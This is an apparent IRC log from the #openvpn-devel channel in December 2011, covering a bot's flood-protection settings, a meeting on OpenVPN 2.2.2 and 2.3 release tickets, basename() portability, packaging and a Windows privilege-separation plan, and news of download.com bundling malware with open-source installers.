<@mattock> topics? 08:36 <@mattock> I'll probably be bit late (18:20 UTC?) 08:47 <@cron2> topic - 2.2.2 release, 2.3 release 08:47 <@cron2> what needs to be done 08:47 <@cron2> open patches, "keep track of patch" system 08:56 <@dazo> cron2: can you please have a quick peek at this? http://www.fpaste.org/HrAc/ 08:57 <@dazo> The output I get is: 08:57 <@dazo> Input: C:\path\path2\file.dat 08:57 <@dazo> Output: C:\path\path2 08:57 <@dazo> Input: C:\\path\\path2\\file.dat 08:57 <@dazo> Output: C:\\path\\path2 08:57 <@dazo> Input: /path/path2/file.dat 08:57 <@dazo> Output: /path/path2 08:57 -!- dazo was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://pastebin.com for posting logs or configs.] 08:57 -!- dazo [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:58 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:58 * dazo wants to kick vpnHelper HARD! 09:10 <@cron2> this comes up regularily - can we fix this, or kick out vpnHelper? 09:10 <@cron2> if it annoys core devs, it's not useful 09:12 <@dazo> ecrist: ^^^ And I really agree ... at least give chanops better conditions in vpnHelper 09:13 < ecrist> I'll look into it 09:13 < ecrist> but, pasting code into IRC sucks balls 09:13 <@cron2> dazo: looks good to me 09:13 <@dazo> cron2: thx! 09:13 < ecrist> or log lines 09:13 <@cron2> ecrist: it works very well for dazo and me 09:14 <@cron2> and we're in openvpn-devel here 09:14 <@dazo> ecrist: well, we're not talking about 40 lines ... but more than 5 lines is needed 09:14 < ecrist> meh, I'll look into it, there's always DCC or pastebin for that garbage, though. 09:14 <@cron2> not posting logs or code to #openvpn is a good thing, but in here, we should do what the *devels* need, not what the IRC police says 09:15 <@dazo> ack 09:15 < ecrist> nack 09:15 <@cron2> pastebin is way over the top for 10 line fragments 09:15 <@cron2> (or, for that matter, for an ifconfig output) 09:16 < ecrist> so, you want me to write a regex that allows ifconfig and random garbage. not 40 lines, but something like 10, and only if the devs think it's important? 09:17 <@cron2> ecrist: we want you to make vpnhelper much more liberal in here. If someone abuses that, there's enough people that will take action. 09:17 <@dazo> nope ... chanops can have a quota for 15 or 20 lines ... just that will help 09:17 < ecrist> I'll look into it 09:17 <@cron2> or as dazo says 09:17 <@cron2> thanks 09:17 < ecrist> if it's not supported in the bot, I'll just part it from the channel 09:24 <@dazo> v3 of openvpn_basename() fixup is sent 09:37 -!- mode/#openvpn-devel [-o vpnHelper] by ChanServ 09:42 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:43 < ecrist> lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384 options=3<RXCSUM,TXCSUM> inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1 inet 127.0.0.1 netmask 0xff000000 inet6 ::1 prefixlen 128 09:43 < ecrist> gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280 09:43 < ecrist> stf0: flags=0<> mtu 1280 09:43 < ecrist> en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 options=2b<RXCSUM,TXCSUM,VLAN_HWTAGGING,TSO4> ether 58:b0:35:f5:81:1f media: autoselect (none) status: inactive 09:43 < ecrist> en1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 ether 58:b0:35:80:7f:38 inet6 fe80::5ab0:35ff:fe80:7f38%en1 prefixlen 64 scopeid 0x5 inet6 2001:470:5:1d2:5ab0:35ff:fe80:7f38 prefixlen 64 autoconf inet6 2001:470:5:1d2:a4ab:e411:3d78:a420 prefixlen 64 deprecated autoconf temporary inet 192.168.1.102 netmask 0xffffff00 broadcast 192.168.1.255 09:43 < ecrist> inet6 200:470:5:1d2:7493:52d5:f645:499eb prefixlen 64 autoconf temporary media: autoselect status: active 09:43 < ecrist> asdf 09:43 < ecrist> asdf 09:43 < ecrist> asdf 09:43 < ecrist> asdf 09:43 < ecrist> adfs 09:43 < ecrist> adsf 09:43 < ecrist> adf 09:43 < ecrist> adfs 09:43 < ecrist> where's my damn kick? 09:44 <@dazo> nice :) 09:44 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:44 -!- mode/#openvpn-devel [-b *!*@gateway/web/freenode/*] by ecrist 09:45 -!- mode/#openvpn-devel [-r] by ecrist 09:45 -!- mode/#openvpn-devel [+r] by ChanServ 09:45 <@cron2> woo :) 09:45 <@ecrist> gah 09:45 -!- mode/#openvpn-devel [-r] by ecrist 09:46 -!- kick_me [ad0876dd@gateway/web/freenode/ip.173.8.118.221] has joined #openvpn-devel 09:46 < kick_me> asdf 09:46 < kick_me> asdf 09:46 < kick_me> asdf 09:46 < kick_me> asdf 09:46 < kick_me> asdf 09:46 < kick_me> asdf 09:46 < kick_me> asdf 09:46 < kick_me> as 09:46 -!- kick_me was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://pastebin.com for posting logs or configs.] 09:46 -!- kick_me [ad0876dd@gateway/web/freenode/ip.173.8.118.221] has joined #openvpn-devel 09:48 < kick_me> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 09:48 <@ecrist> raar 09:48 -!- kick_me [ad0876dd@gateway/web/freenode/ip.173.8.118.221] has quit [Client Quit] 09:48 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 09:49 < ecrist_> 1 09:49 < ecrist_> 2 09:49 < ecrist_> 1 09:49 < ecrist_> 2 09:49 < ecrist_> 3 09:49 < ecrist_> 4 09:49 < ecrist_> 5 09:49 < ecrist_> 6 09:49 < ecrist_> 7 09:49 <@ecrist> wtf, the system can't be that slow 09:49 < ecrist_> 8 09:49 < ecrist_> 9 09:49 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has quit [Client Quit] 09:49 <+krzie> dude, you're admin 09:50 <+krzie> oh i see, not with that host 09:50 <+krzie> [07:45] * ecrist sets mode -r #openvpn-devel 09:50 <+krzie> [07:46] * kick_me (ad0876dd@gateway/web/freenode/ip.173.8.118.221) has joined #openvpn-devel 09:50 <+krzie> [07:46] * vpnHelper has kicked kick_me from #openvpn-devel (Flooding detected. Please use http://pastebin.com for posting logs or configs.) 09:50 <+krzie> <-- the advantage of ignoring all webchat =] 09:50 <@ecrist> heh 09:52 -!- kick_me [~Adium@2001:470:5:1d2:7493:52d5:f645:99eb] has joined #openvpn-devel 09:53 < kick_me> 1 09:53 < kick_me> 2 09:53 < kick_me> 3 09:53 < kick_me> 4 09:53 < kick_me> 5 09:53 < kick_me> 6 09:53 < kick_me> 7 09:53 < kick_me> 8 09:53 -!- mode/#openvpn-devel [+b *!~Adium@*2001:470:5:1d2:7493:52d5:f645:99eb] by vpnHelper 09:53 -!- kick_me was kicked from #openvpn-devel by vpnHelper [Repeated flooding! You've repeatedly flooded this channel. Please come back later.] 09:53 <@ecrist> hrm 09:53 <+krzie> "please come back later" lol 09:53 <@ecrist> the limit is supposed to be 40 lines 09:53 -!- mode/#openvpn-devel [-b *!~Adium@*2001:470:5:1d2:7493:52d5:f645:99eb] by ecrist 09:53 <+krzie> "please go fuq yourself" 09:53 -!- kick_me [~Adium@2001:470:5:1d2:7493:52d5:f645:99eb] has joined #openvpn-devel 09:53 <+krzie> 40 lines... why so many? 09:54 <@ecrist> because some devs have their panties in a twist 09:54 <@ecrist> :) 09:54 <+krzie> oic 09:54 <+krzie> fair nuff 09:55 * cron2 gives his panties an extra-twist, to make ecrist and krzie happy 09:55 < kick_me> whatever makes you moist. :P 09:55 < kick_me> 1 09:55 < kick_me> 2 09:55 < kick_me> 3 09:55 < kick_me> 4 09:55 < kick_me> 5 09:55 < kick_me> 6 09:55 < kick_me> 7 09:55 < kick_me> 8 09:55 < kick_me> 9 09:55 < kick_me> 10 09:55 < kick_me> 11 09:55 < kick_me> 12 09:55 < kick_me> 13 09:55 < kick_me> 14 09:55 -!- kick_me was kicked from #openvpn-devel by cron2 [kick_me] 09:55 <+krzie> LOL 09:55 -!- kick_me [~Adium@2001:470:5:1d2:7493:52d5:f645:99eb] has joined #openvpn-devel 09:55 < kick_me> 1 09:55 < kick_me> 2 09:55 < kick_me> 3 09:55 < kick_me> 4 09:55 < kick_me> 5 09:55 < kick_me> 6 09:55 < kick_me> 7 09:55 < kick_me> 8 09:55 < kick_me> 9 09:55 < kick_me> 10 09:55 < kick_me> 11 09:55 < kick_me> 12 09:56 <@ecrist> bah, stupid IRC servers 09:56 <@ecrist> (notice) *** Message to #openvpn-devel throttled due to flooding 09:56 <@ecrist> from the ircd 09:56 <+krzie> lol 09:56 <+krzie> well that should be good enough 09:56 <@ecrist> yeah 09:56 <+krzie> cron2 detected and kicked, then ircd throttled 09:57 <@ecrist> I've disabled flood protection for this channel 09:58 -!- kick_me [~Adium@2001:470:5:1d2:7493:52d5:f645:99eb] has left #openvpn-devel [] 10:03 <+krzie> http://arstechnica.com/tech-policy/news/2011/12/adobe-scrambles-to-patch-acrobat-zero-day-hack.ars 10:03 <@vpnHelper> Title: Adobe scrambles to patch Acrobat zero-day hack (at arstechnica.com) 10:03 <@ecrist> cron2 and dazo: no more bot-enforced flood protection here. commence the untwisting of panties 10:03 -!- mode/#openvpn-devel [-o ecrist] by ecrist 10:04 <@cron2> *twist* 10:04 <@cron2> *bow* 10:04 <@cron2> :-) 10:06 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-12-08 10:06 <@vpnHelper> Title: Topics-2011-12-08 – OpenVPN Community (at community.openvpn.net) 10:07 <@mattock> sent notice to devel 10:08 <@mattock> feel free and start without me... I'll be 15-30 minutes late 10:10 <+krzie> thats what i told her 10:11 < ecrist> huh, I thought you always came early, krzie 10:11 <+krzie> lol 10:11 < ecrist> *rimshot* 10:11 < ecrist> see what I did there? 10:11 < ecrist> TWO double entendres 10:12 <+krzie> a double-double? 12:03 <@mattock> krzie: lo, excellent catch :P 12:04 <@mattock> who's here? 12:04 <+krzie> o/ 12:04 * cron2 not 12:05 <@mattock> dazo? 12:06 <@mattock> while waiting, I'll add some tickets for myself to trac 12:06 <@dazo> yeah? 12:09 <@mattock> meeting? 12:09 <@mattock> 18:09 UTC 12:09 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-12-08 12:09 <@vpnHelper> Title: Topics-2011-12-08 – OpenVPN Community (at community.openvpn.net) 12:09 <@mattock> as suggested by cron2, a quick review of 2.2.2 / 2.3 alpha release status 12:10 <@cron2> but mattock said he wouldn't be here... 12:10 <@mattock> I'm his evil twin brother 12:10 <@mattock> you can trust me 12:12 <@cron2> ok: 2.2.2 12:12 <@cron2> what's missing? 12:12 <@mattock> there was this one bug in the TAP-driver 12:13 <@cron2> that one has been fixed :) 12:13 * dazo pokes at the open bugs 12:13 <@mattock> https://community.openvpn.net/openvpn/ticket/126 12:13 <@vpnHelper> Title: #126 (Cannot access Syspro 6.0 Server with 2.2RC or 2.2.0) – OpenVPN Community (at community.openvpn.net) 12:13 <@cron2> mattock has posted the fixed windows builds, but no response yet :-( 12:14 <@mattock> maybe I'll invade the guy's privacy and mail him directly 12:14 <@dazo> #126 should be covered by cron2's fix ... I believe/hope 12:14 <@cron2> yeah 12:14 <@dazo> #154 is believe is a misconfiguration 12:15 <@dazo> and three weeks without any response after asking for configs/logs means it will not be 2.2.2 any more 12:15 <@cron2> +1 12:15 <@dazo> #147 IPv6 errors on server side .... cron2? had a chance to look at that? 12:15 <@dazo> "Wed Jun 29 22:12:51 2011 username/1.2.3.4:56990 Need IPv6 code in mroute_extract_addr_from_packet" 12:16 <@cron2> unfortunately not yet 12:16 <@dazo> Should we just whack that warning? 12:16 <@cron2> that was your plan :-) - change that warning into something sensible, and print it only once 12:17 <@dazo> well, but I'm thinking ... do we really need it? 12:17 <@dazo> but print once is an alternative 12:18 <@dazo> mattock: ticket #145 is yours ... anything you need to do that before wrapping up 2.2.2? 12:18 <@dazo> Does that require code changes? 12:18 <@mattock> hmm, lemme check 12:18 <@dazo> and ticket #171 is also on mattock .... signed openvpn GUI ... 12:19 <@mattock> #145: need to take a closer look 12:19 <@mattock> #171 is James' stuff 12:20 <@mattock> actually #171 I can easily fix 12:20 <@dazo> I can put together a quick fix for #147 ... and I propose to postpone #127 "Updated manpage for --rport and --lport" to a later release, not that important 12:20 <@mattock> if 2.1.4 had a signed GUI 12:20 <@dazo> I dunno what 2.1.4 had .... 12:21 <@mattock> it says so on the ticket 12:21 <@cron2> dazo: ok on #127 12:22 <@dazo> so, lets aim to have all these things sorted out for next Thursday? Then I'll tag the tree, create some tar balls ... and we can start the release machinery? 12:22 <@mattock> good plan 12:23 <@mattock> the pkcs11 bug will take some time, my other stuff is trivial 12:23 <@mattock> ok, then 2.3 12:23 <@cron2> dazo: +1 12:24 <@dazo> So summary ... mattock: #145 and #171, dazo: #147, postpone #127, ignore #154 12:24 <@dazo> #126 -> move to fixed 12:24 < ecrist> do we have a projected release date for 2.3? 12:24 <@mattock> late January? 12:24 -!- Irssi: #openvpn-devel: Total of 16 nicks [7 ops, 0 halfops, 2 voices, 7 normal] 12:24 <@cron2> that was the plan 12:24 < ecrist> does jjk get in here often? 12:24 <@dazo> yeah, something like that 12:24 <@mattock> I'll add some of my privately-created 2.3 tasks to trac 12:25 <@dazo> ecrist: not so much lately ... mostly when he needs some quick answers 12:25 < ecrist> for BSDCan next spring, I'm looking to do an OpenVPN workshop 12:25 <@dazo> when is that? 12:25 < ecrist> I'd *like* to have full IPv6 support and some ideas from you guys for the workshop 12:25 < ecrist> dazo: it's in Ottawa, usually first week of May. 12:25 <@cron2> ecrist: I'll do all I can to help with IPv6 12:26 < ecrist> sweet 12:26 <@mattock> ecrist: do I still have the new public test server available? 12:27 <@dazo> that would be a great target for late beta release or an RC 12:27 <@cron2> indeed 12:27 <@cron2> dazo: btw, what about froscon? any decision yet? 12:28 < ecrist> mattock, you talking my vm? 12:28 <@mattock> yep 12:28 <@dazo> ahh, let me check the prices again .... if decent, I'm basically going 12:28 < ecrist> I don't plan on taking it away, I just need to actually set it up 12:28 <@cron2> dazo: muc-bru ~150 EUR if booking now 12:28 <@mattock> I'm planning on setting the public test server up before 2.3 alpha 12:29 < ecrist> I have some people that owe me some favors, going to call them in and try to purchase some 'real' hardware for an ESXi host 12:29 < ecrist> I need about $4k US though 12:30 <@dazo> cron2: yeah ... I'm looking at some decent offers hotel+flight ... and I might get my wife with me, seems to just add the costs < €20 12:31 <@dazo> (she declines to join the conference, but she will do sightseeing :)) 12:31 <@cron2> mattock: oh yeah, that. test server, t_client tests. These are important to have before 2.3 beta 12:31 <@cron2> there's lots of stuff to see in brussels, indeed 12:31 <@mattock> I'm in 12:32 <@mattock> ok, mailed the people who commented on #126 12:33 < ecrist> we should have an OpenVPN dev summit at some point. 12:33 < ecrist> if anything, for a beer meeting 12:33 < ecrist> I don't even care where it is. 12:34 < ecrist> of course, OpenVPN Tech should pay for it all. :P 12:35 <+krzie> lol 12:35 <@dazo> heh 12:35 <@mattock> I'd like to see that, too :D 12:37 <@mattock> anyways, besides various support stuff (e.g. buildslaves), is there code missing from 2.3 alpha? 12:37 <@dazo> Today we actually got a feedback on feat_vlan_tagging branch 12:37 <@dazo> a guy provided a feature addition to that patch ... and claims this branch works very well for him 12:37 <@cron2> \o/ 12:37 <@dazo> so I'm wondering, should we pull that in now? 12:38 <@vpnHelper> RSS Update - tickets: #182: Password save support missing in OpenVPN 2.2.1 Debian/Ubuntu packages <https://community.openvpn.net/openvpn/ticket/182> 12:38 <@cron2> I'd still put that up to 2.4 - it's fairly intrusive, and interest has been low 12:38 <@dazo> yeah, I that's what I'm thinking 12:38 <@dazo> I just wanted to be sure I wasn't the grumpy gatekeeper :) 12:38 <@cron2> no, for grumpyness we have ecrist 12:39 <@dazo> lol 12:39 <@dazo> Even though VLAN isn't so much asked for now ... I expect that will come sooner or later, after all VLAN able switches is getting fairly affordable these days 12:43 <@mattock> trac more or less up-to-date 12:43 <@vpnHelper> RSS Update - tickets: #151: Fedora packages missing <https://community.openvpn.net/openvpn/ticket/151> 12:43 <@dazo> mattock: #182 is not something we can do anything ... that's the debian package maintainer which needs to add --enable-password-save when building openvpn 12:44 <@mattock> wrong, those are _my_ packages :) 12:44 <@cron2> dazo: are you sure basename() implementations are permitted to modify their arguments? now *dirname* I an see, but basename? 12:44 <@dazo> ahh, okay ... not the official packages 12:44 <@mattock> all the package maintainers in the world seem to lag behind a lot 12:44 <@mattock> SLES is the worst... 12:44 <@mattock> 2.0.9 in official repos 12:44 <@cron2> ouch 12:44 <@mattock> that's just ridiculous 12:45 <@cron2> care to give them a kick? 12:45 <@dazo> cron2: the current implementation is basically copy-paste from glibc 12:45 <@cron2> dazo: yeah, and it does not modify the string 12:45 <@mattock> well, "enterprise" distro and all 12:45 <@mattock> opensuse has pretty decent support (2.2.0) 12:45 <@mattock> so it'll end up in SLES within next few years :P 12:45 <@cron2> so what does RHEL ship? 12:46 <@mattock> hmm, I'll check 12:46 <@dazo> 2.1.4, I believe ... 12:46 <@dazo> but for RHEL, you also have EPEL - which is kind of Fedora packages for RHEL, where you get a fresher version 12:47 <@dazo> for RHEL4 to RHEL6 to be updated, it must be through a paying customer request ... as RH needs to support that 12:48 <@dazo> which is probably why SLES got such an old version too ... no customer required anything newer 12:48 <@dazo> but also depends on SLES version 12:49 <@dazo> (Enterprise Linux is a completely different league when it comes to package management compared to community based distributions) 12:50 <@mattock> RHEL does not seem to have any openvpn in standard repos... 12:51 <@mattock> rpmforge repo has 2.2.0 12:51 <@mattock> and we actually got our 2.2.1 RPM packages already 12:51 <@dazo> mattock: you seem to be right ... last internal RHEL build of openvpn was 2.1.0 ... which was back in nov 2009 ... they probably skipped it 12:52 <@mattock> I just need to setup the repos in a coherent fashion 12:52 <@mattock> but we should be in good shape for testing by 2.3 alpha 12:53 <@dazo> https://admin.fedoraproject.org/updates/FEDORA-EPEL-2011-4410/openvpn-2.2.1-1.el6 (RHEL6) 12:53 <@dazo> EPEL, that is 12:53 <@mattock> ah, those guys are quick 12:53 <@mattock> well, they probably won't be providing snapshot releases, so my work is probably useful anyways 12:54 <@mattock> and I'll borrow their spec files, so it's a win-win 12:54 <@dazo> RHEL5 and RHEL4 in EPEL is 2.1.4 12:55 <@mattock> so, is some functionality/fix that's missing from 2.3 alpha? 12:55 <@mattock> something we need to do, besides my buildslave/test server/packaging/repo stuff? 12:56 <@dazo> We just need those last changes I've been messing around with today (to be able to build cleanly on Windows) 12:56 <@dazo> then d12fk got some unicode fixes ... but that can probably go into a later alpha/beta release 12:56 <@mattock> ok, excellent! 12:56 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 12:57 <@cron2> heh 12:57 <@cron2> so satisfied with the answers :) 12:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:57 <@dazo> heh 12:57 <@mattock> hmm 12:58 <@cron2> oh, there was something for 2.3 12:59 <@cron2> MacOS X buildslave + testing 12:59 <@cron2> volunteers? 12:59 <@mattock> not me, don't got any recent version of OSX 12:59 <@mattock> and buildslaves are pouring out of my ears already :) 13:00 <@mattock> ecrist, krzie? 13:00 <@mattock> oh, and the tunnelblick people can help with the testing part 13:00 <@mattock> I promised to inform the tunnelblick dev when 2.3 alpha is about to be release 13:01 <@cron2> cool 13:03 <@mattock> so, 2.2.2 outstanding issues fixed by next Thursday, 2.3 out in late January? 13:03 <@dazo> we have some nasty issues for 2.3, which I doubt anyone have looked much into ... #56, #110, #18, #29, #128 ... I'm owning a couple of them as well 13:04 <@mattock> are all set to milestone beta 2.3? 13:04 <+krzie> my version isnt recent, running 10.6, but i can build and run a config if ya like 13:04 <@dazo> mattock: beta 2.3 or release 2.3 13:05 <@mattock> not sure, just wanted to make sure they got some milestone so they don't get lost :) 13:08 <@mattock> it seems #56 is one of these long-standing bugs 13:08 <@dazo> yeah 13:09 <@mattock> I don't think we should postpone 2.3 because of https://community.openvpn.net/openvpn/ticket/56 ... I don't see 13:09 <@mattock> a fix coming anytime soon 13:09 <@vpnHelper> Title: #56 (WinXP: route setup broken after standby) – OpenVPN Community (at community.openvpn.net) 13:09 <@dazo> mattock: any chance we can get james to dig into that one? 13:10 <@mattock> well, we can try, but I would not hold my breath 13:10 <@cron2> wasn't jjk investigating? or d12fk, or both? 13:10 <@dazo> :( 13:10 <@dazo> yeah, I think they were 13:10 <@mattock> I think so too 13:10 <@mattock> I'll check the linked IRC meeting chatlog quickly 13:11 <@mattock> oops, wrong ticket 13:13 <@mattock> for this we need a volunteer: https://community.openvpn.net/openvpn/ticket/110 13:13 <@vpnHelper> Title: #110 (openvpnserv.exe does not exit even if there are no openvpn.exe processes) – OpenVPN Community (at community.openvpn.net) 13:13 <@mattock> I can mail James and ask 13:13 <@mattock> I recall he was in that meeting, too 13:14 <@dazo> cron2: reg. basename() ... I copied the code directly from strings/basename.c from the glibc 2.14.1 tag ... but I see I did a mistake in compat.h 13:14 <@dazo> it should be const char * in .h too 13:14 <@dazo> (in compat.c, its correct) 13:15 <@dazo> this is the GNU version of basename() which does not change the argument .... POSIX implementations may choose to do so 13:20 <@cron2> why would any want to do so? 13:20 <@cron2> it seriously messes up our code 13:20 <@cron2> mmh 13:21 <@cron2> netbsd's manpage says something different again 13:21 <@cron2> The basename() function returns a pointer to static storage that may be 13:21 <@cron2> overwritten by subsequent calls to basename(). This is not strictly a 13:21 <@cron2> bug; it is explicitly allowed by IEEE Std 1003.1-2001 (``POSIX.1''). 13:21 <@cron2> dazo: do you have a copy of POSIX.1 around? 13:21 <@dazo> yeah ... 13:21 <@dazo> nope :( 13:22 <@dazo> that's the challenge with these POSIX infected functions ... which is why I wanted initially to have "our own" basename() and dirname() which would be predictable 13:22 <@mattock> mailed james regarding the windows service 13:23 <@dazo> sometimes you wonder what those POSIX people where smoking when they agreed upon things ... 13:23 <@cron2> the basename() man page talks about "implementation of these function*s* modify their arguments" 13:24 <@cron2> ... because the same manpage is for basename() and dirname() 13:24 <@dazo> yeah 13:25 <@cron2> ah 13:25 <@mattock> this look like material for the "great configuration option parser rewrite project": https://community.openvpn.net/openvpn/ticket/29 13:25 <@vpnHelper> Title: #29 (push-reset should not reset topology and route-gateway from global config) – OpenVPN Community (at community.openvpn.net) 13:25 <@cron2> I see the issue now, our current code never used "system-basename()" befor 13:25 <@dazo> exactly 13:26 <@dazo> mattock: #29 is scaring me 13:26 <@mattock> how so? 13:27 <@dazo> it needs to be carefully checked ... because the option parser is extremely generic, and reused in amazingly many ways ... command line, config files, push arguments are the obvious ones, but I've spotted a few other places too, which I don't recall exactly now 13:30 <@mattock> move #29 to 2.4? 13:30 <@dazo> Yeah, I'd probably say so 13:31 <@mattock> moved 13:31 <@dazo> I'm actually torn if we should consider a complete rewrite of the option parser ... to make it more obvious how and where it works 13:31 <@dazo> today parser is brilliant in functionality ... but playing with the code is hazardous 13:32 <@dazo> (and today's parser works very well too!) 13:34 <@cron2> a rewrite is definitely not a 2.3 thing :) 13:34 <@dazo> nope 13:38 <@mattock> hmm, if there's nothing else, let's call this a day 13:39 <@mattock> I think we got covered what we needed 13:39 <@cron2> yep 13:39 <@cron2> good night everybody :-) 13:39 <@mattock> and I'd say get 2.3 alpha out by end of January unless there are real blockers 13:39 * cron2 goes watching TV now 13:39 <@mattock> "time well spent" :P 13:41 <@dazo> ack! 13:41 <@mattock> summary tomorrow as usual 13:41 <@mattock> good night, io vado a cenare 13:41 <@mattock> dinner 13:44 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:46 < ecrist> mattock: try to get the tunnel blick folks to start using the dev snapshots 13:46 < ecrist> those are built every week 13:48 < ecrist> also, I have an OS X box we can probably use for a buildslave 13:49 < ecrist> it's a Mac Mini my son uses 14:05 <@mattock> ecrist: that'd be nice! 14:05 <@mattock> the buildslave especially 14:06 -!- dazo is now known as dazo_afk 14:22 < ecrist> mattock: can you send me info on what you need? 14:22 < ecrist> can I make it available on the VPN, instead of giving it a static IP? 15:23 <@cron2> ecrist: that's how the current buildbot setup works - all the buildslaves are in the community openvpn, and the buildslaves call out to their master and get jobs to do 15:23 <@cron2> so the clients can be fully dynamic 15:36 -!- krzee [nobody@66.11.114.212] has joined #openvpn-devel 15:36 -!- krzee [nobody@66.11.114.212] has quit [Changing host] 15:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:22 -!- novaflash is now known as novaflash_away 19:03 < ecrist> cron2: excellent. as soon as I get some links to what I'm supposed to do, I'll get his machine configured. --- Day changed Fri Dec 09 2011 01:44 <@mattock> ecrist: yes, VPN-only IP is ok 01:44 <@mattock> I can add a ccd 02:02 <@cron2> dazo: I think you need a v4 patch :) 02:12 -!- novaflash_away is now known as novaflash 02:59 <@d12fk> another dutch CA: http://feedproxy.google.com/~r/nakedsecurity/~3/quYOpO9SLi8/ 03:24 -!- trispace [~rf@bec.fw.firewall.at] has joined #openvpn-devel 03:25 < trispace> just a quick question: i saw that recently OpenVPN got the option to do RSA sign operations using the management interface 03:28 < trispace> Am I right in my assumption that this would allow to run OpenVPN as (privileged) service and use OpenVPN-GUI running as unprivileged user and in "management client" mode and thus using users private key in the Windows crypto store for the RSA key operations? 03:30 <@d12fk> running ovpn as privileged process has the risk of privilege escalation through the scripts/programs called by openvpn 03:30 <@d12fk> I'm currently working an a service mode that will start openvpn as the user running the GUI 03:31 < trispace> d12fk: ok, i see. But running as privileged process would allow the OpenVPN service to add routes and do other networking stuff which usually requires "network operators" group membership 03:32 < trispace> d12fk: my idea here would be to be able to use OpenVPN-GUI with default user rights and default group memberships 03:33 <@d12fk> yes, there will be a ipc channel from openvpn to the service to request such operations 03:33 < trispace> d12fk: ah, much better :) 03:34 <@d12fk> i need to have it ready by the end of january 2012, so expect something coming on the list around this time 03:34 < trispace> d12fk: sounds like the good old Unix privilege separation model 03:35 <@d12fk> yeah thats what we do here, bringing unix to windows =) 03:36 <@d12fk> LOL: "Für den Fall, dass Ihnen diese Firewall zu sicher ist, empfehlen wir unsere sehr sicheren Firewalls" 03:36 < trispace> ;) 03:37 <@d12fk> nothing a customer would understand though 03:37 < trispace> d12fk: you're right - we well replace the website soon 03:37 < trispace> s/well/will/ 03:45 < trispace> d12fk: I'll be glad to help out with testing your privsep code - and in the meantime I hope to find some time to look at the manpages again 03:46 <@d12fk> testers are always wolcome 03:59 <@cron2> d12fk: I like that approach :-) - and I think it would be a good addition to 2.3 if it's indeed "production ready" at the end of Jan2012 (as this is our plan for 2.3-alpha release) 04:17 <@mattock> how many days were you guys planning on being in FOSDEM? 04:17 <@cron2> mattock: well, fosdem is just two days, so my idea was to arrive friday evening, and go back on sunday evening 04:18 <@cron2> (but skip the beer fest on friday, that's not my thing) 04:18 <@mattock> ok, I'll probably stick around a bit longer, if I find relatively affordable accommodation 04:18 <@mattock> of course, I can use this trip for tax benefits :D 04:26 <@d12fk> is there an openvpn agenda whatsoever at fosdem? 04:30 <@cron2> not yet, just the loose idea of meeting dazo, mattock and me 04:30 <@cron2> (as we have never met yet :) ) 04:36 <@d12fk> but meeting without beer is as good as a skype telco 05:01 <@mattock> trink, trink, bruderlein trink 05:01 <@mattock> summary away -> eat 06:26 <@cron2> d12fk: I'm all fine with meeting in a nice and quiet place and having enough beer 06:26 <@cron2> but meeting with 500 geeks in a not-very-quiet-then place and trying to get beers through the crowd is not exactly my idea of fun 06:27 <@d12fk> no not really, i'd skip the free beer in favor of freedom too. =) 07:45 < ecrist> interesting 07:46 < ecrist> OpenVPN has been removed from download.com/cnet 07:46 < ecrist> Tunnelblick and Viscosity are still on there, though. 07:46 < ecrist> oh, shoot, nm 07:46 < ecrist> they added a mac filter on my searc. OpenVPN GUI is still up there. 07:51 < ecrist> despite cnet's claim they removed the installer from all the opensource project downloads 08:04 < ecrist> ping raidz or mattock 08:06 <@mattock> ecrist: what's up? 08:07 < ecrist> perhaps you guys should caution users on twitter from using cnet to download openvpn? not only is their version packed with the cnet installer and all the malware with that, but it's 3 years out of date. 08:07 <@mattock> raidz can do that, I'll poke him in gtalk 08:08 <@mattock> he's probably not awake yet 08:08 < ecrist> thanks 08:14 -!- dazo_afk is now known as dazo 08:15 <@mattock> the pkcs11 issue seems to be fixed 08:15 <@mattock> at least openvpn --help now shows various pkcs11-related options 08:16 <@mattock> I'll update the ticket and send mail to openvpn-devel/-users 08:26 <@mattock> https://community.openvpn.net/openvpn/ticket/145 08:26 <@vpnHelper> Title: #145 (pkcs11 support is missing in openvpn 2.2.0 for windows) – OpenVPN Community (at community.openvpn.net) 08:30 -!- dazo is now known as dazo_afk 08:38 -!- dazo_afk is now known as dazo 09:11 -!- trispace [~rf@bec.fw.firewall.at] has quit [Quit: trispace] 09:27 <@cron2> dazo: there is no way around v4 09:27 <@dazo> :) 09:27 <@dazo> I'm willing to do that ... just want to be sure v4 is the last one ;-) 09:33 <@cron2> I hope you understand that this is not me being nasty, but I seriously do think that given the vague specifications for basename(), the change is not improving anything 09:34 <@dazo> agreed 10:26 -!- mode/#openvpn-devel [+r] by ChanServ 11:03 <@raidz> hey guys 11:03 <@raidz> just got e-mail from mattock about cnet 11:03 <@raidz> wtf 11:11 <@dazo> yeah 11:12 <@dazo> raidz: you saw this one? http://insecure.org/news/download-com-fiasco.html 11:12 <@vpnHelper> Title: Download.Com Caught Adding Malware to Nmap & Other Software (at insecure.org) 11:12 <@raidz> wow, thats messed up 11:13 <@dazo> a follow up here: https://lwn.net/Articles/471279/ 11:13 <@vpnHelper> Title: Download.com "apologises" for bundling (The H) [LWN.net] (at lwn.net) 